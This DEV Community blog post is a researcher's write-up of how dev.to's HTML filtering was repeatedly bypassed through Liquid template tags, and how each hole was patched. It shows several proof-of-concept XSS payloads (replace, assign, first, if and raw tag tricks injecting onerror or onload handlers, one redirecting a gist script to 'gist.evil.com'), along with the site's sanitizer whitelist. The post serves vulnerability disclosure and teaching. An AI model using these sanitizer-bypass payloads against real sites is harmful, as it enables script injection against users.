DEV Community

Antony Garand
Antony Garand

Posted on

Hacking Dev 2: Slipping through security

Following my last post, Pwned Together: Hacking dev.to, few other security resaearchers performed security audits of the website, and found other vulnerabilities.

Among them is Becojo, who found out you could bypass the security filters using Liquid Tags:

Basically, I can capture the output of the gist tag in a variable, and modify it using the replace function of liquid tags.

This represents the following:

{% capture the_gist %}
{% gist https://gist.github.com/username/gist_id %}
{% endcapture %}

// the_gist now contains the HTML output of the gist tag evaluation

{{ the_gist | replace: "github", "evil" }}
Enter fullscreen mode Exit fullscreen mode

This would output the given script tag's domain from gist.github.com/... to gist.evil.com/..., which lets us control the domain of the script tag, giving us an XSS!

Whack-a-vulnerability

With this knowledge, I started digging into more vulnerabilities which could be caused by liquid tags.

This led me and the dev team to a game of whack-a-mole, where many variants of this vulnerability were found.

Replace

Firstly, from my experience navigating the dev source code, I knew that the markdown was rendered before the liquid tags.

There are also a list of tags and attributes which are always whitelisted, therefore you can write raw HTML using these and it won't be filtered out:

rendered_markdown_scrubber.rb

class RenderedMarkdownScrubber < Rails::Html::PermitScrubber
  def initialize
    super
    self.tags = %w(a abbr add aside b blockquote br button center cite code col colgroup dd del dl dt em em figcaption h1 h2 h3 h4 h5 h6 hr i img li ol p pre q rp rt ruby small source span strong sub sup table tbody td tfoot th thead time tr u ul video)
    self.attributes = %w(alt class colspan data-conversation data-lang data-no-instant data-url em height href id loop name ref rel rowspan size span src start strong title type value width)
end
Enter fullscreen mode Exit fullscreen mode

With this knowledge, and Liquid Variable Tags, I knew that I could use other tags than capture to get an XSS.

Using the Assign tag, we can achieve a similar result.

{% assign myimg = '<img src="//x" class="alert()"/>' %}
{{ myimg | replace: "class", "onerror" }}
Enter fullscreen mode Exit fullscreen mode

In this Proof of concept, I replace the class attribute with onerror, giving us this resulting XSS:

<img src="//x" onerror="alert()"/>
Enter fullscreen mode Exit fullscreen mode

This was fixed by blocking the major assigning tags, such as replace, replace_first and remove on this commit.

Assign

Now that we couldn't use filters, it was time for a different solution.

By exploiting the assign tag, as Markdown is rendered before liquid tags, we could mix variables and markdown to gain an XSS:

{% assign x = '<pre class="onerror=alert() test"></pre>' %}
<img src=x class="X {{x}}"/>
Enter fullscreen mode Exit fullscreen mode

Giving us the XSS:

 <img src=x class="X  <pre class="onerror=alert( ) test"></pre>"/> 
Enter fullscreen mode Exit fullscreen mode

The solution here was to completely remove the capture tags.

Extracting components

Now that we couldn't have variables, it was time for another bypass!

The replace filter doc doesn't use a variable, but declares it into the tag itself:

{{ "Take my protein pills and put my helmet on" | replace: "my", "your" }}
Enter fullscreen mode Exit fullscreen mode

We can use the same manipulation, by not using the assign tag but directly applying our filter on a div, and using

{{ '<pre>' | first }}svg onload=alert(1) 
Enter fullscreen mode Exit fullscreen mode

This also uses the first filter, which wasn't removed from the last filter-removal commit.

The patch time was pretty simple: Blacklist the first tag.

There were few other filters which were removed since this part, such as truncate, truncateword and slice.

Tag removal

The next bypass I found was by using extra arguments on the default tags, which would be omitted from the HTML yet correctly parse the markdown format check:

<img src="x" class="{%if'1" href="' != '' "> %}
inner" onerror=alert(document.domain)
{% endif %}
Enter fullscreen mode Exit fullscreen mode

In this case, the part between the first { %if ... %} would be removed, giving us the resulting HTML:

<img src="x" class="inner" onerror=alert(document.domain)
Enter fullscreen mode Exit fullscreen mode

This is when they removed all of the default liquid manipulations, such as if, for and comment, which was merged with the following PR.

Finally, I noticed the raw tag wasn't disabled with the others. This is because the tag is used internally with the codeblocks, so they can't be blocked as easily as the others.

Here is the POC I made back then:

<img src="x" class="before{% raw %}inside{% endraw ">%}rawafter"onerror=alert(document.domain) 
Enter fullscreen mode Exit fullscreen mode

Notice the end of the raw tag, containing the end of the img tag: { % endraw "> %}

The final solution was to block characters after the raw keyword, which ensures the block doesn't contain the end of a tag.

Conclusion

People like me are the reason why you can't have nice things, and also a reason why websites are more secure.

In this case, the fusion of markdown and liquid tags caused some interesting vulnerabilities, even though by themselves these components were (somewhat) secure, the two of them together caused some very interesting vulnerabilities.

As always, please send me your feedback, and follow me on Twitter and on dev.to if you want to see more of my content!

Top comments (0)